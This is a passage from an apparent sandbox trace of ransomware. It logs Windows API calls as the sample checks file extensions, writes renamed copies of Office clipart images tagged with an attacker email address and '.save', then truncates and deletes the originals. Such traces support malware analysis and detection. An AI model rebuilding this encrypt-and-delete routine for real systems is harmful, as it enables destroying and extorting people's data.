(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG") returned 68 [0187.494] lstrlenW (lpString=".jpg") returned 4 [0187.494] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0187.814] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=24034) returned 1 [0187.814] CloseHandle (hObject=0x550) returned 1 [0187.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178523.jpg")) returned 0x220 [0187.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178523.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0187.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178523.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0187.820] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.821] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178523.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0187.822] GetLastError () returned 0x0 [0187.822] ReadFile (in: hFile=0x550, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x5de2, lpOverlapped=0x0) returned 1 [0187.825] WriteFile (in: hFile=0x530, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x5df0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x5df0, lpOverlapped=0x0) returned 1 [0187.828] ReadFile (in: hFile=0x550, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.828] WriteFile (in: hFile=0x530, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0187.828] SetEndOfFile (hFile=0x530) returned 1 [0187.828] CloseHandle (hObject=0x530) returned 1 [0187.829] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.829] SetEndOfFile (hFile=0x550) returned 1 [0187.834] CloseHandle (hObject=0x550) returned 1 [0187.834] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0187.834] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178523.jpg")) returned 1 [0187.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG") returned 68 [0187.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG") returned 68 [0187.836] lstrlenW (lpString=".doc") returned 4 [0187.836] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0187.836] lstrlenW (lpString=".docx") returned 5 [0187.836] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0187.836] lstrlenW (lpString=".pdf") returned 4 [0187.836] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0187.836] lstrlenW (lpString=".xls") returned 4 [0187.836] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0187.836] lstrlenW (lpString=".xlsx") returned 5 [0187.836] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0187.836] lstrlenW (lpString=".ppt") returned 4 [0187.836] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0187.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG") returned 68 [0187.836] lstrlenW (lpString=".zip") returned 4 [0187.836] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0187.836] lstrlenW (lpString=".rar") returned 4 [0187.836] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0187.836] lstrlenW (lpString=".bz2") returned 4 [0187.836] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0187.837] lstrlenW (lpString=".7z") returned 3 [0187.837] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0187.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG") returned 68 [0187.837] lstrlenW (lpString=".dbf") returned 4 [0187.837] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0187.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG") returned 68 [0187.837] lstrlenW (lpString=".1cd") returned 4 [0187.837] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0187.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG") returned 68 [0187.837] lstrlenW (lpString=".jpg") returned 4 [0187.837] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0187.839] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=35340) returned 1 [0187.839] CloseHandle (hObject=0x550) returned 1 [0187.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178932.jpg")) returned 0x220 [0187.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178932.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0187.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178932.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0187.841] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.841] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178932.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0187.842] GetLastError () returned 0x0 [0187.842] ReadFile (in: hFile=0x550, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x8a0c, lpOverlapped=0x0) returned 1 [0187.849] WriteFile (in: hFile=0x530, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x8a10, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x8a10, lpOverlapped=0x0) returned 1 [0187.852] ReadFile (in: hFile=0x550, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.852] WriteFile (in: hFile=0x530, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0187.852] SetEndOfFile (hFile=0x530) returned 1 [0187.852] CloseHandle (hObject=0x530) returned 1 [0187.853] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.853] SetEndOfFile (hFile=0x550) returned 1 [0188.423] CloseHandle (hObject=0x550) returned 1 [0188.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0188.995] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178932.jpg")) returned 1 [0189.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68 [0189.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68 [0189.441] lstrlenW (lpString=".doc") returned 4 [0189.441] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0189.441] lstrlenW (lpString=".docx") returned 5 [0189.441] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0189.441] lstrlenW (lpString=".pdf") returned 4 [0189.441] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0189.441] lstrlenW (lpString=".xls") returned 4 [0189.441] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0189.441] lstrlenW (lpString=".xlsx") returned 5 [0189.441] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0189.441] lstrlenW (lpString=".ppt") returned 4 [0189.441] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0189.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68 [0189.441] lstrlenW (lpString=".zip") returned 4 [0189.441] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0189.441] lstrlenW (lpString=".rar") returned 4 [0189.441] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0189.441] lstrlenW (lpString=".bz2") returned 4 [0189.441] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0189.441] lstrlenW (lpString=".7z") returned 3 [0189.441] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0189.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68 [0189.441] lstrlenW (lpString=".dbf") returned 4 [0189.442] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0189.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68 [0189.442] lstrlenW (lpString=".1cd") returned 4 [0189.442] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0189.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178932.JPG") returned 68 [0189.442] lstrlenW (lpString=".jpg") returned 4 [0189.442] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0189.443] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=29788) returned 1 [0189.443] CloseHandle (hObject=0x534) returned 1 [0189.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183172.wmf")) returned 0x220 [0189.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183172.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0189.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0189.445] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.445] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183172.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0189.447] GetLastError () returned 0x0 [0189.447] ReadFile (in: hFile=0x534, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x745c, lpOverlapped=0x0) returned 1 [0189.450] WriteFile (in: hFile=0x568, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x7460, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x7460, lpOverlapped=0x0) returned 1 [0189.453] ReadFile (in: hFile=0x534, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.453] WriteFile (in: hFile=0x568, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0189.453] SetEndOfFile (hFile=0x568) returned 1 [0189.453] CloseHandle (hObject=0x568) returned 1 [0189.453] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.453] SetEndOfFile (hFile=0x534) returned 1 [0189.459] CloseHandle (hObject=0x534) returned 1 [0189.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0189.460] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183172.wmf")) returned 1 [0189.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68 [0189.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68 [0189.461] lstrlenW (lpString=".doc") returned 4 [0189.461] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.461] lstrlenW (lpString=".docx") returned 5 [0189.461] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0189.461] lstrlenW (lpString=".pdf") returned 4 [0189.461] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.462] lstrlenW (lpString=".xls") returned 4 [0189.462] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.462] lstrlenW (lpString=".xlsx") returned 5 [0189.462] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0189.462] lstrlenW (lpString=".ppt") returned 4 [0189.462] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68 [0189.462] lstrlenW (lpString=".zip") returned 4 [0189.462] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.462] lstrlenW (lpString=".rar") returned 4 [0189.462] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.462] lstrlenW (lpString=".bz2") returned 4 [0189.462] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.462] lstrlenW (lpString=".7z") returned 3 [0189.462] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68 [0189.462] lstrlenW (lpString=".dbf") returned 4 [0189.462] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68 [0189.462] lstrlenW (lpString=".1cd") returned 4 [0189.462] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF") returned 68 [0189.463] lstrlenW (lpString=".jpg") returned 4 [0189.463] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.464] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=28626) returned 1 [0189.464] CloseHandle (hObject=0x534) returned 1 [0189.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183174.wmf")) returned 0x220 [0189.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183174.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0189.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0189.466] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.466] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183174.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0189.468] GetLastError () returned 0x0 [0189.468] ReadFile (in: hFile=0x534, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x6fd2, lpOverlapped=0x0) returned 1 [0189.472] WriteFile (in: hFile=0x568, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x6fe0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x6fe0, lpOverlapped=0x0) returned 1 [0189.474] ReadFile (in: hFile=0x534, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.475] WriteFile (in: hFile=0x568, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0189.475] SetEndOfFile (hFile=0x568) returned 1 [0189.475] CloseHandle (hObject=0x568) returned 1 [0189.475] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.475] SetEndOfFile (hFile=0x534) returned 1 [0189.493] CloseHandle (hObject=0x534) returned 1 [0189.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0189.937] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183174.wmf")) returned 1 [0190.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68 [0190.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68 [0190.123] lstrlenW (lpString=".doc") returned 4 [0190.123] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.123] lstrlenW (lpString=".docx") returned 5 [0190.123] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0190.123] lstrlenW (lpString=".pdf") returned 4 [0190.123] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.123] lstrlenW (lpString=".xls") returned 4 [0190.123] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.123] lstrlenW (lpString=".xlsx") returned 5 [0190.124] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0190.124] lstrlenW (lpString=".ppt") returned 4 [0190.124] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68 [0190.124] lstrlenW (lpString=".zip") returned 4 [0190.124] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.124] lstrlenW (lpString=".rar") returned 4 [0190.124] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.124] lstrlenW (lpString=".bz2") returned 4 [0190.124] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.124] lstrlenW (lpString=".7z") returned 3 [0190.124] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68 [0190.124] lstrlenW (lpString=".dbf") returned 4 [0190.124] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68 [0190.124] lstrlenW (lpString=".1cd") returned 4 [0190.124] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68 [0190.124] lstrlenW (lpString=".jpg") returned 4 [0190.125] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185776.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0191.698] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.698] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185776.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0192.413] GetLastError () returned 0x0 [0192.413] ReadFile (in: hFile=0x550, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x69d8, lpOverlapped=0x0) returned 1 [0192.417] WriteFile (in: hFile=0x51c, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x69e0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x69e0, lpOverlapped=0x0) returned 1 [0192.419] ReadFile (in: hFile=0x550, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0192.419] WriteFile (in: hFile=0x51c, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0192.419] SetEndOfFile (hFile=0x51c) returned 1 [0192.420] CloseHandle (hObject=0x51c) returned 1 [0192.420] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.420] SetEndOfFile (hFile=0x550) returned 1 [0192.425] CloseHandle (hObject=0x550) returned 1 [0192.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 